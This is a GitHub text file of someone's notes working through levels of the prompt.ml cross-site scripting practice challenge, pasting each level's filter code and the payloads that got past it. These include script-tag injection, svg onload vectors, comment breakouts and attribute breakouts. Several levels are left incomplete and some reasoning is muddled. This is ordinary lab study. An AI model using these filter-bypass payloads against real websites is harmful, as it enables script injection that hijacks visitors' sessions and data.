-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathxss2.txt
298 lines (189 loc) · 6.95 KB
/
xss2.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
manual building xss vector
#===================================================================
wesite : https://prompt.ml
now we try ont this
#======================================================================
1. just input some value to see work
then we use our script
"><script>alert(1)</script>
#=====================================================================
2.again we input some value then try to close tag and run our script
from input we get
<article>hello</article>
then we use </article><script>alert(1)</script>
it didn't work and get our value print like alert(1)
now we use
<svg/onload=alert(1);
it's work
#===================================================================
3. again we input value and we get printed our enter value
then we run basic alert script but it printed out again
then we gonna use html encoding because out ( got removed then
by html encoding we try to enter( value
( = %28
again it's not work
when ever your input reflect as a plain text then use svg vector
<svg/onload=alert(1);
by using w3school we got value ( for ( or can create by using given table
we try this
<svg><script>alert(1)</script>
and get alert
#=====================================================================
4. again hello use hello
we get html comment
and we didn't get
--!><script>alert(1)</script>
here remember closing of tag and comment
here start with <!--
that's why we end
--!>
#======================================================================
5.we try input it's all give error
we got this in code
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input)))
here we see that we need to enter a website to run out js
we try
http://prompt.ml/js/test.js/><script>alert(1)</script>
didn't work then
"""""""""""
whenever they take url as a input filed you can try to inject paylod through a file
test.js
<script>alert(1)</script>
"""""""""""""""
we use remote file site scripting
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
we use this test.js to try to run our script
we no error
then it's loading
#===========================================================================
6.normal try didn't work
""""""""""""""""""
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
"""""""""""""""""""
it didn't work even our closing not work because of funtion
we try that
when something will fileterd you can convert that into html code so browser directly execute that
then we use
hello"type=image src onerror //line 1
="alert(1) //line 2
like this to run our script
#==========================================================================
7.
"""""""""""""""""""""""""'
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
"""""""""""""""""""""""""""""""
we got this js
then try to input given example to see value
http://httpbin.org/post#{"name":"Matt"}
and we got
""""""""""""""""""""""""""
html source: <form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>
"""""""""""""""""""""""""""
now we try to change value but we didn't get anything
incomplete
#==========================================================================
8. we got this
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
now lets try normal way
we get plain text
<p>
we use svg vector payload
here another problem is they are only taking 12 character
<svg/onload=alert(1);
it's give
<p class="comment" title="<svg/onload="></p>
now we try
<svg/a=#"onload='/*#*/alert(1)'
it didn't work because text is closing with ">
we have to close that too
now try
"><svg/a=#"onload='/*#*/alert(1)'
it's run
#====================================================================================
9. function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
we got this now we try first old values
incomplete
#=======================================================================================
10.
incomplete
#====================================================================================
11. we try old we got
<script>hello</script>
then we just use
alert(1)
it convert into
<script>alert(1)</script>
run
#====================================================================================
12. 13. 14. 15.
incomplete
#=======================================================================================
16.
we try hello
we got this
<p class="comment" title="hello" data-comment='{"id":0}'></p>
again svg vector
<svg><!--#--><script><!--#-->alert(1)<!--#--></script>
we use this previous comment are replaced so use <!-- -->
to comment
but it didn't work
here is a problem that our hello are clossing with "so we have to close it
then
"><svg><!--#--><script><!--#-->alert(1)<!--#--></script>
it's work